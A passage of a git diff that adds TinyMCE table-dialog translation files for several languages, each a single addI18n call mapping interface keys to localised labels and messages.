+tinyMCE.addI18n('no.table_dlg',{"rules_border":"ramme","rules_box":"boks","rules_vsides":"vside","rules_rhs":"hs","rules_lhs":"vs","rules_hsides":"hside","rules_below":"under","rules_above":"over","rules_void":"tom",rules:"Streker","frame_all":"alle","frame_cols":"kolonner","frame_rows":"rader","frame_groups":"grupper","frame_none":"ingen",frame:"Ramme",caption:"Tabell tittel","missing_scope":"Er du sikker du vil fortsette uten \u00e5 angi tittel for denne overskrifscellen? Uten denne kan det bli vanskelig for enkelte funksjonshemmede brukere \u00e5 forst\u00e5 innhold eller data som presenteres i tabellen.","cell_limit":"Du har overg\u00e5tt maksimalt antall tillatt celler p\u00e5 {$cells}.","row_limit":"Du har overg\u00e5tt maksimalt antall tillatte rader p\u00e5 {$rows}.","col_limit":"Du har overg\u00e5tt maksimalt antall tillatte kolonner p\u00e5 {$cols}.",colgroup:"Kolonne gruppe",rowgroup:"Rad gruppe",scope:"Tittel",tfoot:"Tabell foot",tbody:"Tabell body",thead:"Tabell head","row_all":"Oppdater alle rader","row_even":"Oppdater rader med partall","row_odd":"Oppdater rader med oddetall","row_row":"Oppdater aktuell rad","cell_all":"Oppdater alle celler i tabellen","cell_row":"Oppdater alle celler i raden","cell_cell":"Oppdater aktuell celle",th:"Overskrift",td:"Data",summary:"Sammendrag",bgimage:"Bakgrunnsbilde",rtl:"H\u00f8yre mot venstre",ltr:"Venstre mot h\u00f8yre",mime:"M\u00e5lets MIME-type",langcode:"Spr\u00e5k kode",langdir:"Skriftretning",style:"Stil",id:"Id","merge_cells_title":"Sl\u00e5 sammen celler",bgcolor:"Bakgrunnsfarge",bordercolor:"Rammefarge","align_bottom":"Bunn","align_top":"Topp",valign:"Vertikal justering","cell_type":"Celle type","cell_title":"Celle egenskaper","row_title":"Rad egenskaper","align_middle":"Midtstilt","align_right":"H\u00f8yre","align_left":"Venstre","align_default":"Standard",align:"Justering",border:"Ramme",cellpadding:"Cellefylling",cellspacing:"Celleavstand",rows:"Rader",cols:"Kolonner",height:"H\u00f8yde",width:"Bredde",title:"Sett inn/editer tabell",rowtype:"Rad i tabell","advanced_props":"Avanserte egenskaper","general_props":"Generelle egenskaper","advanced_tab":"Avansert","general_tab":"Generelt","cell_col":"Oppdater alle cellene i kolonnen"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/pl_dlg.js b/js/tiny_mce/plugins/table/langs/pl_dlg.js new file mode 100755 index 0000000..8bbe7c8 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.table_dlg',{"rules_border":"granica","rules_box":"ramka","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"pod","rules_above":"nad","rules_void":"void",rules:"Prowadnice","frame_all":"wszystkie","frame_cols":"kolumny","frame_rows":"wiersze","frame_groups":"grupy","frame_none":"brak",frame:"Ramka",caption:"Nag\u0142\u00f3wek tabeli","missing_scope":"Jeste\u015b pewny \u017ce chcesz kontynuowa\u0107 bez definiowania zasi\u0119gu dla kom\u00f3rki tabeli. Bez niej, mo\u017ce by\u0107 trudne dla niekt\u00f3rych u\u017cytkownik\u00f3w zrozuminie zawarto\u015bci albo danych wy\u015bwietlanych poza tabel\u0105.","cell_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 kom\u00f3rek kt\u00f3ra wynosi {$cells}.","row_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 wierszy kt\u00f3ra wynosi {$rows}.","col_limit":"Przekroczy\u0142e\u015b maksymaln\u0105 liczb\u0119 kolumn kt\u00f3ra wynosi {$cols}.",colgroup:"Grupa kolumn",rowgroup:"Grupa wierszy",scope:"Zakres",tfoot:"Stopka tabeli",tbody:"Cia\u0142o tabeli",thead:"Nag\u0142\u00f3wek tabeli","row_all":"Zmie\u0144 wszystkie wiersze","row_even":"Zmie\u0144 parzyste wiersze","row_odd":"Zmie\u0144 nieparzyste wiersze","row_row":"Zmie\u0144 aktualny wiersz","cell_all":"Zmie\u0144 wszytkie kom\u00f3rki w tabeli","cell_row":"Zmie\u0144 wszytkie kom\u00f3rki w wierszu","cell_cell":"Zmie\u0144 aktualn\u0105 kom\u00f3rk\u0119",th:"Nag\u0142owek",td:"Dane",summary:"Podsumowanie",bgimage:"Obrazek t\u0142a",rtl:"Kierunek z prawej do lewej",ltr:"Kierunek z lewej do prawej",mime:"Docelowy typ MIME",langcode:"Kod j\u0119zyka",langdir:"Kierunek czytania tekstu",style:"Styl",id:"Id","merge_cells_title":"Po\u0142\u0105cz kom\u00f3rki",bgcolor:"Kolor t\u0142a",bordercolor:"Kolor ramki","align_bottom":"D\u00f3\u0142","align_top":"G\u00f3ra",valign:"Pionowe wyr\u00f3wnanie","cell_type":"Typ kom\u00f3rki","cell_title":"W\u0142a\u015bciwo\u015bci kom\u00f3rki","row_title":"W\u0142a\u015bciwo\u015bci wiersza","align_middle":"\u015arodek","align_right":"Prawy","align_left":"Lewy","align_default":"Domy\u015blnie",align:"Wyr\u00f3wnanie",border:"Ramka",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Wiersze",cols:"Kolumny",height:"Wysoko\u015b\u0107",width:"Szeroko\u015b\u0107",title:"Wklej/Zmie\u0144 tabel\u0119",rowtype:"Wiersz w cz\u0119\u015bci tabeli","advanced_props":"Zaawansowane w\u0142a\u015bciwo\u015bci","general_props":"G\u0142\u00f3wne w\u0142a\u015bciwo\u015bci","advanced_tab":"Zaawansowane","general_tab":"G\u0142\u00f3wne","cell_col":"Zaktualizuj wszystkie kom\u00f3rki w kolumnie"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/pt_dlg.js b/js/tiny_mce/plugins/table/langs/pt_dlg.js new file mode 100755 index 0000000..fb54400 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.table_dlg',{"rules_border":"Limites","rules_box":"Box","rules_vsides":"Vsides","rules_rhs":"Rhs","rules_lhs":"Lhs","rules_hsides":"Hsides","rules_below":"abaixo","rules_above":"acima","rules_void":"void",rules:"Regras","frame_all":"Todos","frame_cols":"colunas","frame_rows":"Linhas","frame_groups":"Grupos","frame_none":"Nenhum",frame:"Frame",caption:"T\u00edtulo da tabela","missing_scope":"Tem certeza de que quer continuar sem especificar um escopo para esta c\u00e9lula? (Isso poder\u00e1 causar dificuldades a usu\u00e1rios deficientes)","cell_limit":"Excedeu o n\u00famero m\u00e1ximo de c\u00e9lulas de {$cells}.","row_limit":"Excedeu o n\u00famero m\u00e1ximo de linhas de {$rows}.","col_limit":"Excedeu o n\u00famero m\u00e1ximo de colunas de {$cols}.",colgroup:"Grupo colunas",rowgroup:"Grupo linhas",scope:"Alcance",tfoot:"Rodap\u00e9 da tabela",tbody:"Corpo da tabela",thead:"Topo da tabela","row_all":"Atualizar todas as linhas","row_even":"Atualizar linhas pares","row_odd":"Atualizar linhas \u00edmpares","row_row":"Atualizar esta linha","cell_all":"Atualizar todas as c\u00e9lulas na tabela","cell_row":"Atualizar todas as c\u00e9lulas na linha","cell_cell":"Atualizar esta c\u00e9lula",th:"Campo",td:"Dados",summary:"Sum\u00e1rio",bgimage:"Imagem de fundo",rtl:"Da direita para a esquerda",ltr:"Da esquerda para a direita",mime:"MIME alvo",langcode:"C\u00f3digo do idioma",langdir:"Dire\u00e7\u00e3o do texto",style:"Estilo",id:"Id","merge_cells_title":"Unir c\u00e9lulas",bgcolor:"Cor de fundo",bordercolor:"Cor dos limites","align_bottom":"Abaixo","align_top":"Topo",valign:"Alinha. vert.","cell_type":"Tipo c\u00e9l.","cell_title":"Propriedades de c\u00e9lulas","row_title":"Propriedades de linhas","align_middle":"Centro","align_right":"Direita","align_left":"Esquerda","align_default":"Padr\u00e3o",align:"Alinha.",border:"Limites",cellpadding:"Enchimento da C\u00e9lula",cellspacing:"Espa\u00e7amento da C\u00e9lula",rows:"Linhas",cols:"Colunas",height:"Altura",width:"Largura",title:"Inserir/modificar tabela",rowtype:"Linha na parte da tabela","advanced_props":"Propriedades avan\u00e7adas","general_props":"Propriedades gerais","advanced_tab":"Avan\u00e7ado","general_tab":"Geral","cell_col":"Atualizar todas as c\u00e9lulas na coluna"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ro_dlg.js b/js/tiny_mce/plugins/table/langs/ro_dlg.js new file mode 100755 index 0000000..c1974ed --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"dedesubt","rules_above":"deasupra","rules_void":"gol",rules:"Reguli","frame_all":"toate","frame_cols":"coloane","frame_rows":"r\u00e2nduri","frame_groups":"grupuri","frame_none":"niciuna",frame:"Frame",caption:"Titlu tabel","missing_scope":"Sigur vrei s\u0103 continui f\u0103r\u0103 s\u0103 completezi scopul acestei celule antet? F\u0103r\u0103 acesta, anumi\u021bi utilizatori cu dizabilit\u0103\u021bi ar putea avea dificult\u0103\u021bi \u00een \u00een\u021belegerea datelor afi\u0219ate \u00een tabel.","cell_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de celule: {$cells}.","row_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de r\u00e2nduri: {$rows}.","col_limit":"Ai dep\u0103\u0219it num\u0103rul maxim de coloane: {$cols}.",colgroup:"Grupeaz\u0103 celulele",rowgroup:"Grupeaz\u0103 r\u00e2ndurile",scope:"Scop",tfoot:"Subsol tabel",tbody:"Corp tabel",thead:"Antet tabel","row_all":"Actualizeaz\u0103 toate r\u00e2ndurile","row_even":"Actualizeaz\u0103 r\u00e2ndurile pare","row_odd":"Actualizeaz\u0103 r\u00e2ndurile impare","row_row":"Actualizeaz\u0103 r\u00e2nd curent","cell_all":"Actualizeaz\u0103 toate celulele din tabel","cell_row":"Actualizeaz\u0103 toate celulele din r\u00e2nd","cell_cell":"Actualizeaz\u0103 celula curent\u0103",th:"Antet",td:"Date",summary:"Sumar",bgimage:"Imagine de fundal",rtl:"De la dreapta la st\u00e2nga",ltr:"De la st\u00e2nga la dreapta",mime:"MIME type \u021bint\u0103",langcode:"Cod limb\u0103",langdir:"Direc\u021bie limb\u0103",style:"Stil",id:"Id","merge_cells_title":"Une\u015fte celulele",bgcolor:"Culoare fundal",bordercolor:"Culoare bordur\u0103","align_bottom":"Jos","align_top":"Sus",valign:"Aliniere vertical\u0103","cell_type":"Tip celul\u0103","cell_title":"Propriet\u0103\u021bi celul\u0103","row_title":"Propriet\u0103\u021bi r\u00e2nd","align_middle":"Centru","align_right":"Dreapta","align_left":"St\u00e2nga","align_default":"Implicit\u0103",align:"Aliniere",border:"Bordur\u0103",cellpadding:"Spa\u021biu \u00een celule",cellspacing:"Spa\u021biu \u00eentre celule",rows:"R\u00e2nduri",cols:"Coloane",height:"\u00cen\u0103l\u021bime",width:"L\u0103\u021bime",title:"Inserare/editare tabel",rowtype:"Tip de r\u00e2nd","advanced_props":"Propriet\u0103\u021bi avansate","general_props":"Propriet\u0103\u021bi generale","advanced_tab":"Avansat","general_tab":"General","cell_col":"Actualizeaz\u0103 toate celulele din coloan\u0103"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ru_dlg.js b/js/tiny_mce/plugins/table/langs/ru_dlg.js new file mode 100755 index 0000000..3bd8815 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0435","frame_cols":"\u043a\u043e\u043b\u043e\u043d\u043a\u0438","frame_rows":"\u0440\u044f\u0434\u044b","frame_groups":"\u0433\u0440\u0443\u043f\u043f\u044b","frame_none":"\u043d\u0435\u0442",frame:"\u041a\u0430\u0434\u0440",caption:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u0431\u043b\u0438\u0446\u044b","missing_scope":"\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0431\u0435\u0437 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u043d\u0438\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0437\u0430\u0433\u043b\u043e\u043b\u0432\u043a\u0430? \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.","cell_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u044f\u0447\u0435\u0435\u043a.","row_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u0441\u0442\u0440\u043e\u043a.","col_limit":"\u0414\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0432\u0439 \u043f\u0440\u0435\u0434\u0435\u043b, \u0432 $ \u043a\u043e\u043b\u043e\u043d\u043e\u043a.",colgroup:"\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u043e\u043b\u0431\u0446\u043e\u0432",rowgroup:"\u0413\u0440\u0443\u043f\u043f\u0430 \u0441\u0442\u0440\u043e\u043a",scope:"\u041e\u0431\u043b\u0430\u0441\u0442\u044c",tfoot:"\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435",tbody:"\u0422\u0435\u043b\u043e",thead:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","row_all":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_even":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0447\u0435\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_odd":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u0435\u0447\u0435\u0442\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","row_row":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443","cell_all":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435","cell_row":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435","cell_cell":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u044f\u0447\u0435\u0439\u043a\u0443",th:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",td:"\u0414\u0430\u043d\u043d\u044b\u0435",summary:"\u041e\u0431\u0449\u0435\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",mime:"MIME \u0442\u0438\u043f \u0446\u0435\u043b\u0438",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430",langdir:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0418\u043c\u044f","merge_cells_title":"\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u044f\u0447\u0435\u0439\u043a\u0438",bgcolor:"\u0426\u0432\u0435\u0442 \u0437\u0430\u043b\u0438\u0432\u043a\u0438",bordercolor:"\u0426\u0432\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",valign:"\u0412\u0435\u0440\u0442. \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","cell_type":"\u0422\u0438\u043f","cell_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u0447\u0435\u0439\u043a\u0438","row_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0442\u0440\u043e\u043a\u0438","align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_default":"\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",border:"\u0413\u0440\u0430\u043d\u0438\u0446\u0430",cellpadding:"\u041e\u0442\u0441\u0442\u0443\u043f\u044b \u0432 \u044f\u0447\u0435\u0439\u043a\u0430\u0445",cellspacing:"\u0420\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u044f\u0447\u0435\u0439\u043a\u0430\u043c\u0438",rows:"\u0421\u0442\u0440\u043e\u043a\u0438",cols:"\u0421\u0442\u043e\u043b\u0431\u0446\u044b",height:"\u0412\u044b\u0441\u043e\u0442\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0442\u0430\u0431\u043b\u0438\u0446\u044b",rowtype:"\u0422\u0438\u043f \u0441\u0442\u0440\u043e\u043a\u0438","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","general_props":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","general_tab":"\u041e\u0431\u0449\u0435\u0435","cell_col":"\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u0432 \u0441\u0442\u043e\u043b\u0431\u0446\u0435"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/sk_dlg.js b/js/tiny_mce/plugins/table/langs/sk_dlg.js new file mode 100755 index 0000000..817f0e0 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.table_dlg',{"rules_border":"or\u00e1movanie okolo","rules_box":"box okolo","rules_vsides":"v\u013eavo a vpravo","rules_rhs":"vpravo","rules_lhs":"v\u013eavo","rules_hsides":"hore a dole","rules_below":"dole","rules_above":"hore","rules_void":"\u017eiadne",rules:"Vykreslenie mrie\u017eky","frame_all":"v\u0161etko","frame_cols":"st\u013apce","frame_rows":"riadky","frame_groups":"oblasti a skupiny st\u013apcov","frame_none":"\u017eiadna",frame:"Or\u00e1movanie tabu\u013eky",caption:"Nadpis tabu\u013eky","missing_scope":"Skuto\u010dne chcete pokra\u010dova\u0165 bez ur\u010denia oblasti hlavi\u010dky tejto tabu\u013eky? Bez nej m\u00f4\u017ee u niektor\u00fdch u\u017e\u00edvate\u013eov doch\u00e1dza\u0165 k ur\u010dit\u00fdm probl\u00e9mom pri inrtepret\u00e1cii a zobrazovan\u00ed d\u00e1t v tabu\u013eke.","cell_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det buniek {$cells}.","row_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det riadkov {$rows}.","col_limit":"Prekro\u010dili ste maxim\u00e1lny po\u010det st\u013apcov {$cols}.",colgroup:"Skupina st\u013apcov",rowgroup:"Skupina riadkov",scope:"Hlavi\u010dka pre",tfoot:"P\u00e4ta tabu\u013eky",tbody:"Telo tabu\u013eky",thead:"Hlavi\u010dka tabu\u013eky","row_all":"Aktualizova\u0165 v\u0161etky riadky tabu\u013eky","row_even":"Aktualizova\u0165 p\u00e1rne riadky tabu\u013eky","row_odd":"Aktualizova\u0165 nep\u00e1rne riadky tabu\u013eky","row_row":"Aktualizova\u0165 aktu\u00e1lny riadok","cell_all":"Aktualizova\u0165 v\u0161etky bunky v tabu\u013eke","cell_row":"Aktualizova\u0165 v\u0161etky bunky v riadku","cell_cell":"Aktualizova\u0165 aktu\u00e1lnu bunku",th:"Hlavi\u010dka",td:"D\u00e1ta",summary:"Obsah tabu\u013eky",bgimage:"Obr\u00e1zok pozadia",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",mime:"MIME typ cie\u013ea",langcode:"K\u00f3d jazyka",langdir:"Smer textu",style:"\u0160t\u00fdl",id:"ID","merge_cells_title":"Zl\u00fa\u010di\u0165 bunky",bgcolor:"Farba pozadia",bordercolor:"Farba or\u00e1movania","align_bottom":"Dolu","align_top":"Hore",valign:"Vertik\u00e1lne zarovnanie","cell_type":"Typ bunky","cell_title":"Vlastnosti bunky","row_title":"Vlastnosti riadkov","align_middle":"Na stred","align_right":"Vpravo","align_left":"V\u013eavo","align_default":"Predvolen\u00e9",align:"Zarovnanie",border:"Or\u00e1movanie",cellpadding:"Odsadenie obsahu",cellspacing:"Rozstup buniek",rows:"Riadky",cols:"St\u013apce",height:"V\u00fd\u0161ka",width:"\u0160\u00edrka",title:"Vlo\u017ei\u0165/Upravi\u0165 tabu\u013eku",rowtype:"Typ riadku","advanced_props":"Roz\u0161\u00edren\u00e9 parametre","general_props":"Obecn\u00e9 parametre","advanced_tab":"Roz\u0161\u00edren\u00e9","general_tab":"Obecn\u00e9","cell_col":"Aktualizova\u0165 v\u0161etky bunky v st\u013apci"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/sl_dlg.js b/js/tiny_mce/plugins/table/langs/sl_dlg.js new file mode 100755 index 0000000..52e1efe --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.table_dlg',{"rules_border":"obroba","rules_box":"\u0161katla","rules_vsides":"n-strani","rules_rhs":"d-strani","rules_lhs":"l-strani","rules_hsides":"v-strani","rules_below":"pod","rules_above":"nad","rules_void":"prazno",rules:"Pravila","frame_all":"vse","frame_cols":"stolpci","frame_rows":"vrstice","frame_groups":"skupine","frame_none":"brez",frame:"Okvir",caption:"Opis tabele","missing_scope":"Ste prepri\u010dani, da \u017eelite nadaljevati brez dolo\u010denega dosega? Brez dosega je razumevanje tabele lahko ote\u017eeno ljudem s slab\u0161o zaznavo!","cell_limit":"Presegli ste dovoljeno \u0161tevilo celic: {$cells}.","row_limit":"Presegli ste dovoljeno \u0161tevilo vrstic: {$rows}.","col_limit":"Presegli ste dovoljeno \u0161tevilo stolpcev: {$cols}.",colgroup:"Skup. stolp.",rowgroup:"Skup. vrst.",scope:"Doseg",tfoot:"Noga tabele",tbody:"Telo tabele",thead:"Glava tabele","row_all":"Posodobi vse vrstice","row_even":"Posodobi sode vrstice","row_odd":"Posodobi lihe vrstice","row_row":"Posodobi trenutno vrstico","cell_all":"Posodobi vse celice tabele","cell_row":"Posodobi vse celice vrstice","cell_cell":"Posodobi trenutno celico",th:"Glava",td:"Podatek",summary:"Povzetek",bgimage:"Slika ozadja",rtl:"Od desne proti levi",ltr:"Od leve proti desni",mime:"Ciljni tip MIME",langcode:"Koda jezika",langdir:"Smer pisave",style:"Slog",id:"Oznaka","merge_cells_title":"Spoji celice",bgcolor:"Barva ozadja",bordercolor:"Barva obrobe","align_bottom":"Dno","align_top":"Vrh",valign:"Navpi\u010dna poravnava","cell_type":"Tip celice","cell_title":"Lastnosti celice","row_title":"Lastnosti vrstice","align_middle":"Sredina","align_right":"Desno","align_left":"Levo","align_default":"Privzeto",align:"Poravnava",border:"Obroba",cellpadding:"Podlaganje celic",cellspacing:"Razmik celic",rows:"Vrstic",cols:"Stolpcev",height:"Vi\u0161ina",width:"\u0160irina",title:"Vstavi/posodobi tabelo",rowtype:"Vrstica v tabeli","advanced_props":"Napredne lastnosti","general_props":"Splo\u0161ne lastnosti","advanced_tab":"Napredno","general_tab":"Splo\u0161no","cell_col":"Posodobi vse celice v stolpcu"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/sv_dlg.js b/js/tiny_mce/plugins/table/langs/sv_dlg.js new file mode 100755 index 0000000..be7bc8b --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Regler","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Ram",caption:"\u00d6verskrift","missing_scope":"\u00c4r du s\u00e4ker p\u00e5 att du vill forts\u00e4tta utan att ange en omfattning, denna underl\u00e4ttar f\u00f6r icke-grafiska webbl\u00e4sare.","cell_limit":"Du kan inte skapa en tabell med fler \u00e4n {$cells} celler.","row_limit":"Du kan inte ange fler \u00e4n {$rows} rader.","col_limit":"Du kan inte ange fler \u00e4n {$cols} kolumner.",colgroup:"Kolumngrupp",rowgroup:"Radgrupp",scope:"Omfattning",tfoot:"tabellfot",tbody:"tabellkropp",thead:"tabellhuvud","row_all":"Uppdatera alla rader i tabellen","row_even":"Uppdatera j\u00e4mna rader i tabellen","row_odd":"Uppdatera udda rader i tabellen","row_row":"Uppdatera nuvarande rad","cell_all":"Uppdatera alla celler i tabellen","cell_row":"Uppdatera alla celler i raden","cell_cell":"Uppdatera nuvarande cell",th:"Huvud",td:"Data",summary:"Sammanfattning",bgimage:"Bakgrundsbild",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",mime:"Target MIME type",langcode:"Spr\u00e5kkod",langdir:"Skriftriktning",style:"Stil",id:"Id","merge_cells_title":"Sammanfoga celler",bgcolor:"Bakgrundsf\u00e4rg",bordercolor:"Ramf\u00e4rg","align_bottom":"Botten","align_top":"Toppen",valign:"Vertikal justering","cell_type":"Celltyp","cell_title":"Tabellcellsinst\u00e4llningar","row_title":"Tabellradsinst\u00e4llningar","align_middle":"Mitten","align_right":"H\u00f6ger","align_left":"V\u00e4nster","align_default":"Ingen",align:"Justering",border:"Ram",cellpadding:"Cellpadding",cellspacing:"Cellspacing",rows:"Rader",cols:"Kolumner",height:"H\u00f6jd",width:"Bredd",title:"Infoga/redigera ny tabell",rowtype:"Radtyp","advanced_props":"Avancerade inst\u00e4llningar","general_props":"Generella inst\u00e4llningar","advanced_tab":"Avancerat","general_tab":"Generellt","cell_col":"Uppdatera alla celler i kolumn"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/th_dlg.js b/js/tiny_mce/plugins/table/langs/th_dlg.js new file mode 100755 index 0000000..e161380 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.table_dlg',{"rules_border":"border","rules_box":"box","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"below","rules_above":"above","rules_void":"void",rules:"Rules","frame_all":"all","frame_cols":"cols","frame_rows":"rows","frame_groups":"groups","frame_none":"none",frame:"Frame",caption:"Table caption","missing_scope":"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.","cell_limit":"You\'ve exceeded the maximum number of cells of {$cells}.","row_limit":"You\'ve exceeded the maximum number of rows of {$rows}.","col_limit":"You\'ve exceeded the maximum number of columns of {$cols}.",colgroup:"Col Group",rowgroup:"Row 